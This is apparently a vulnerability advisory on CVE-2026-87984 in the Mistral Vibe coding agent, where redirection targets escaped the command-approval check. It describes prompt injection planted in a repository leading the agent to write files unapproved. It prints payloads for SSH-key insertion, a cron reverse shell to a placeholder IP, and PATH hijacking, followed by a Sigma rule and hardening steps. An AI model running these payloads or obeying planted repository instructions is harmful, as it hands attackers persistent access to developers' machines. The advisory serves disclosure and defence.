Skip to content
Hermes Codex

CVE-2026-87984: Mistral Vibe Arbitrary File Write via Shell Redirection Target Omission

HERMES

HERMES THREAT SCORE & HOST TAMPERING EXPLOITATION

Target: Mistral Vibe Coding Agent (mistral-vibe)
Confidence: 99%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 19 / 20
Weaponization 19 / 20
Exposure 18 / 20
Prevalence 18 / 20
Impact 19 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v4.0 evaluates CVE-2026-87984 at 9.3 (Critical, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H). The Hermes Threat Score assesses this vulnerability at 94 (CRITICAL). This reflects the high weaponization potential of silent arbitrary file writes, permitting attackers to inject authorized SSH keys, cron tasks, or shell profiles without operator approval.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-87984: Mistral Vibe Arbitrary File Write via Shell Redirection Target OmissionVULNERABILITY

Connected Nodes: 3
Active Relationships (Outgoing)
→ affectsPRODUCTMistral Vibe Coding Agent
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-002: Indirect Context Injection
92% VERY_HIGH

Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-002.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-003: Tool Parameter Tampering & Built-in Bypass
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-003.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”
ParameterTechnical SpecificationThreat Intelligence Context
CVE IdentifierCVE-2026-87984Discovered by Esteban Tonglet (HiddenLayer)
Common Weakness EnumerationCWE-22 (Path Traversal), CWE-732 (Incorrect Permission Assignment)Failure to inspect shell redirection AST nodes
Attack VectorIndirect Prompt Injection (AAP-002) / AAP-003Malicious PR, issue description, or source code comments
Vulnerable ComponentAST validator in Mistral Vibe (vibe command evaluator)Evaluates commands while omitting redirection target nodes
Affected Versionsmistral-vibe < 1.1.0Systems operating with default auto-approval enabled
Remediated Versionvibe >= 1.1.0Comprehensive AST visitor inspecting all redirection targets
Systemic ImpactArbitrary file overwrite, persistent backdoor installation, SSH hijackingDirect path to persistent host compromise

2. In-Depth Technical Decomposition & Root Cause

Section titled “2. In-Depth Technical Decomposition & Root Cause”

A. The Separation of Command Arguments and Redirection AST Nodes

Section titled “A. The Separation of Command Arguments and Redirection AST Nodes”

In Bash syntax, output redirections (>, >>, 1>, 2>, &>) redirect file descriptors to target paths. The tree-sitter-bash parser models this by wrapping the statement in a redirected_statement node or by appending a file_redirect child node to the command:

redirected_statement
 ├── body: command
 │    ├── name: command_name -> "echo"
 │    └── argument: word -> '"ssh-ed25519 AAAA..."'
 └── redirect: file_redirect
      ├── operator: ">>"
      └── destination: word -> "/home/user/.ssh/authorized_keys"

B. The Validator Omission Flaw

Section titled “B. The Validator Omission Flaw”

The validation loop in Mistral Vibe iterated over command.children and filtered for command_argument nodes. The redirection node (file_redirect) was treated as syntax metadata rather than an operational parameter:

# Vulnerable validation loop in Mistral Vibe (pre-1.1.0)
def validate_command_safety(parsed_ast_node, allowed_commands, workspace_root):
    cmd_name = extract_command_name(parsed_ast_node)
    if cmd_name not in allowed_commands:
        return False  # Requires explicit prompt


    # FLAW: Only checking positional argument tokens!
    for arg in extract_positional_arguments(parsed_ast_node):
        if not is_safe_workspace_path(arg, workspace_root):
            return False


    # Redirection targets (file_redirect) are NEVER verified!
    return True  # Auto-approved!

Because echo was in the allowed commands list and "ssh-ed25519..." contains no forbidden path traversal strings, validate_command_safety returned True. When executed, the host Bash shell created or appended to /home/user/.ssh/authorized_keys.

3. Attack Flow & Weaponization Scenarios

Section titled “3. Attack Flow & Weaponization Scenarios”
sequenceDiagram
    autonumber
    actor Attacker as Remote Adversary
    participant Repo as Cloned Git Repository
    participant LLM as Vibe LLM Engine
    participant Gate as AST Permission Gate
    participant OS as Host Operating System


    Attacker->>Repo: Plants indirect prompt injection in codebase (AAP-002)
    Repo->>LLM: Developer instructs: "vibe 'setup dev environment'"
    LLM->>LLM: Ingests injection instructions
    LLM->>Gate: Issues command: echo "attacker_key" >> ~/.ssh/authorized_keys
    Gate->>Gate: Checks command 'echo' -> ALLOWED
    Gate->>Gate: Checks arguments -> SAFE (ignores '>> ~/.ssh/authorized_keys')
    Gate->>OS: Subshell executes redirection without user confirmation!
    OS-->>Attacker: Attacker connects via SSH with root/user privileges

Weaponization Payloads

Section titled “Weaponization Payloads”
  1. SSH Key Insertion (Zero-Interaction Remote Access):
    Terminal window
    echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@c2" >> ~/.ssh/authorized_keys
  2. Cron Persistence:
    Terminal window
    echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" > /etc/cron.d/sync_service
  3. Shell Environment Hijacking:
    Terminal window
    echo "export PATH=/tmp/evil_bin:\$PATH" >> ~/.bashrc

All of these commands bypass the confirmation dialog entirely because the destination file path resides in a redirection node rather than a standard argument.

4. Detection, Threat Hunting & DFIR Playbooks

Section titled “4. Detection, Threat Hunting & DFIR Playbooks”

A. Sigma Detection Rule

Section titled “A. Sigma Detection Rule”
title: Mistral Vibe Output Redirection Outside Workspace
id: 87984001-vibe-redirection-bypass
status: experimental
description: Detects file redirection operators targeting sensitive system locations executed from a Mistral Vibe parent process.
references:
  - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/
author: Hermes Codex Cyber Defense Team
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    CommandLine|contains: 'vibe'
  selection_redirection:
    CommandLine|re: '(>|>>)\s*(~|\/etc|\/root|\/home|\/var|\/usr)'
  condition: selection_parent and selection_redirection
falsepositives:
  - Legitimate build tools writing to workspace-local redirect files.
level: high

5. Defense, Hardening & Remediation

Section titled “5. Defense, Hardening & Remediation”
  1. Apply Official Patch: Upgrade immediately to vibe >= 1.1.0. The patched AST visitor recursively inspects all file_redirect and redirected_statement nodes.
  2. Strict Filesystem Sandboxing: Run Vibe in read-only container root mounts with only the specific project directory mounted read-write.
  3. Audit Shell History & SSH Keys: Verify integrity of ~/.ssh/authorized_keys, /etc/cron.*, and shell startup profiles (~/.bashrc, ~/.zshrc) on machines where Vibe was executed.
  4. Agent Parameter Validation: Enforce policy checks from AgentThreat Studio covering AAP-003: Tool Parameter Tampering.

6. Related Vulnerabilities & Cross-References

Section titled “6. Related Vulnerabilities & Cross-References”